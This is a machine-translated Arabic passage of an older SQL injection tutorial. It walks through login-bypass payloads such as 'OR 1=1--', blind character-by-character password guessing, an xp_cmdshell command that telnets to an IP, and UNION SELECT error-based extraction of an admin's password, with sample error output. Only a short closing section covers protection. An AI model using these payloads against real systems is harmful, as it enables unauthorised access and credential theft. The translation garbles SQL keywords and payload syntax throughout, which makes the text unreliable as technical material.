حدد * من المستخدمين حيث تسجيل الدخول = "المستخدم" وكلمة المرور = "31337" AND
البريد الإلكتروني = " [بريد إلكتروني محمي]"

وإذا كان حقل البريد الإلكتروني موجودًا ، فسيتم أيضًا التحقق من هذا الشرط. إذا كنت تتذكر أساسيات الجبر المنطقي ، فإنه يتبادر إلى الذهن أنه بالإضافة إلى العملية "و" يوجد أيضًا "أو" ، ونظرًا لأن استخدامهم مدعوم من قِبل SQL ، يمكنك
بالطريقة الموصوفة ، أضف شرطًا يعود دائمًا بصحيح. لتنفيذ ذلك ، من الضروري تحديد "مستخدم" OR 1 = 1-- "كتسجيل دخول ، وفي هذه الحالة سيأخذ الطلب النموذج:

حدد * من المستخدمين حيث تسجيل الدخول = "مستخدم" أو 1 = 1 - "و
كلمة المرور = "31337"

بادئ ذي بدء ، يجب أن تعلم أن "-" تعني نهاية الطلب وكل شيء بعد "-"
لن تتم معالجتها! يبدو أننا قدمنا ​​طلبًا:

حدد * من المستخدمين حيث تسجيل الدخول = "المستخدم" أو 1 = 1

كما ترى ، أضفنا الشرط "1 = 1" ، مما يعني أن معيار التحقق سيكون "إذا كان تسجيل الدخول هو" المستخدم "أو 1 = 1" ، ولكن 1 دائمًا يساوي 1 (الاستثناء الوحيد يمكن كن حسابي داني شيبوفالوف :)). لاختبار شكوكنا
نحن نطرق في شريط العنوان "http://www.server.com؟login=user أو 1 = 1 - & password = 31337". هذا يؤدي إلى حقيقة أنه لا يهم تسجيل الدخول الذي حددناه ، ولكن
خاصة كلمة المرور! ونحن في المصفوفة ... أوه ، في النظام ويمكننا تنزيل ما نحتاجه بأمان.

لكن هذا كله من الناحية النظرية. من الناحية العملية ، لا نعرف كيف يتم تشكيل الطلب ، وما هي البيانات التي يتم إرسالها وبأي تسلسل. لذلك ، يجب تحديد "user" OR 1 = 1-- "لجميع الحقول. يجب أيضًا التحقق من نموذج الإرسال للحقول المخفية. في HTML ، يتم وصفها على أنها" ". إذا كان هناك أي منها ، فاحفظ الصفحة وغيّر قيم هذه الحقول. غالبًا ما تُنسى القيم الموجودة فيها ليتم التحقق من وجود تعليمات SQL. ولكن من أجل كل شيء للعمل ، يجب عليك تحديد المسار الكامل للبرنامج النصي في النموذج (علامة "FORM") للمعلمة "ACTION" ، التي تعالج هذا الطلب.

ولكن لا يُعرف دائمًا أيضًا كيف يتم تكوين الطلب ،
يمكن تشكيل المثال السابق بالطرق التالية:

حدد * من المستخدمين حيث (تسجيل الدخول = "المستخدم" وكلمة المرور = "31337")
حدد * من المستخدمين حيث تسجيل الدخول = "المستخدم" وكلمة المرور = "31337"
حدد * من المستخدمين حيث تسجيل الدخول = المستخدم وكلمة المرور = 31337

في هذه الحالة ، يمكنك تجربة الخيارات التالية:

"أو 1 = 1--
"أو 1 = 1--
OR1 = 1--
"أو" أ "=" أ
"أو" أ "=" أ
") أو (" أ "=" أ
أو "1" = "1"

كل هذا يتوقف على الغرض من النص وعلى المبرمج. نظرًا لأن كل شخص يميل إلى فعل كل شيء بطريقته الخاصة ، فمن المحتمل جدًا ألا يختار المبرمج الخيار الأسهل. لذلك ، لا ينبغي عليك على الفور
تستسلم إذا تم رفضك. ضروري
جرب أكبر عدد ممكن من الخيارات ...

كشف كلمة المرور

لا يعد تجاوز التفويض أمرًا سيئًا ، ولكن غالبًا ما يتم إغلاق الفتحة التي تستخدمها ، ويتم فقد كل ما كان متاحًا لك.
هذا أمر متوقع إذا لم يكن المبرمج أحمق
بمرور الوقت سوف تغطي جميع الثغرات. يمكنك بسهولة التخلص من مثل هذه المواقف من خلال الاهتمام بها مسبقًا. قد يكون الحل الصحيح هو تخمين كلمة المرور من خلال
تحليل نتائج المصادقة. أولاً نحاول تخمين كلمة المرور ، لهذا ندخل مكانها:

"أو كلمة المرور>" أ

إذا قيل لنا أن التفويض قد تم تمريره ، ثم كلمة المرور
لا يبدأ بالحرف "a" ، ولكنه يبدأ بالحرف التالي في القائمة. ننتقل ونستبدل
ضع "a" ، التالي "b" ، "c" ، "d" ، "e" ... إلخ. حتى يتم إخبارنا أن كلمة المرور غير صحيحة. دع هذه العملية تتوقف عند الحرف "x" ، في هذه الحالة يتم إنشاء سيناريوهين لتطوير الموقف أو العثور على كلمة المرور أو قراءة كلمة المرور على هذا الحرف. للتحقق من الخيار الأول ، اكتب مكان كلمة المرور:

"أو كلمة المرور =" x

وإذا تم قبول كلمة المرور وسمحوا لك بالدخول ، فقد خمنت كلمة المرور! حسنًا ، لا ، إذًا يجب عليك تحديد الحرف الثاني ،
بالضبط نفس الشيء منذ البداية. للتحقق من حرفين
بحاجة الى نفس الشيء. في النهاية ، ستتلقى كلمة مرور ، وتبحث عن تسجيل دخول بنفس الطريقة 🙂
إذا كانت كلمة المرور التي تم العثور عليها وتسجيل الدخول لا يناسبك ، فيمكنك العثور على آخرين. للقيام بذلك ، تحتاج إلى بدء التحقق من آخر حرف من كلمة المرور التي تم العثور عليها. لذلك ، إذا كانت كلمة المرور "xxx" فمن الضروري التحقق من وجود كلمة المرور
"xxy":

"أو كلمة المرور =" xxx

لا تفوت أي خيار!

خادم MS SQL

آنسة خادم قاعدة البياناتعموما هبة من السماء إذا ضاع التصفية اللازمة. باستخدام الثغرة الأمنية حقن SQL ، يمكنك تنفيذ
أوامر على خادم بعيد باستخدام exec master..xp_cmdshell. لكن لاستخدام هذا البناء
تحتاج إلى إكمال عملية "SELECT". في SQL ، يتم فصل العبارات بفواصل منقوطة. لذلك ، سوف يتصل ببعض IP عبر Telnet ، تحتاج إلى كتابة كلمة المرور / مكان تسجيل الدخول:

"؛ exec master..xp_cmdshell" telnet 192.168.0.1 "-

يحتوي MS SQL Server على بعض الميزات الأكثر إثارة للاهتمام التي تتيح لك معرفة تسجيلات الدخول وكلمات المرور المخزنة في قاعدة البيانات. للقيام بذلك ، يتم إعادة توجيه ناتج الخطأ إلى خادم عشوائي ومن خلاله
التحليل ، يمكنك معرفة اسم الجدول والحقول وأنواعها. ثم يمكنك أن تطلب

"UNION SELECT TOP 1 تسجيل دخول من المستخدمين--

(تسجيل الدخول هو اسم الحقل الذي يحتوي على تسجيل الدخول ، والمستخدمون هو اسم الجدول ،
أشباه العلماء في عملية تحليل الخطأ).

قد تكون الإجابة:


حدث خطأ في بناء الجملة أثناء تحويل قيمة nvarchar "(! LANG: admin" to a column of data type int. !}
/default.asp ، السطر 27

نحن نعلم الآن أن هناك مستخدمًا اسمه "admin". الآن يمكننا الحصول على كلمة المرور الخاصة به:

"UNION SELECT TOP 1 كلمة مرور من المستخدمين حيث تسجيل الدخول =" admin "-

نتيجة:

موفر Microsoft OLE DB لخطأ برامج تشغيل ODBC "80040e07"
خطأ في بناء الجملة أثناء تحويل قيمة nvarchar "(! LANG: xxx" to a column of data type int. !}
/tedault.asp ، السطر 27

نحن نعلم الآن أن هناك مستخدم "admin" بكلمة مرور "xxx". هذا يمكن بأمان
استخدام وتسجيل الدخول إلى النظام 😉

ولكن هناك العديد من الوظائف الأخرى للعمل مع SQL ،
عند العمل مع قاعدة بيانات ، يمكنك أيضًا حذف البيانات وتعديلها وإدراجها الخاصة بك وحتى التعامل مع الملفات والعمل مع السجل.
بشكل عام ، قواعد SQL Server 🙂

حماية

لكن يمكن بالطبع تجنب كل هذا. لهذا يمكنك
استخدم المرشحات
المقدمة من الشركات المصنعة. يمكنك العثور على الحلول الخاصة بك ، على سبيل المثال ، استبدال كل واحد
علامات الاقتباس المزدوجة (إذا كانت لـ SQLطلب ، نستخدم واحدًا) ، أو العكس. يمكنك فقط السماح باستخدام الأحرف و s @ baki ، في حالة احتياجك للدخول
عنوان البريد الإلكتروني. وفي اللؤلؤ يوجد شيء مذهل
الدالة quote () في وحدة DBI :: DBD ، والتي تجعل استعلامك آمنًا ضده SQL. هناك العديد من الحلول ، أنت فقط بحاجة إليها
استغل الفرصة. وإلا فلماذا كل هذا ...



تحميل...
قمة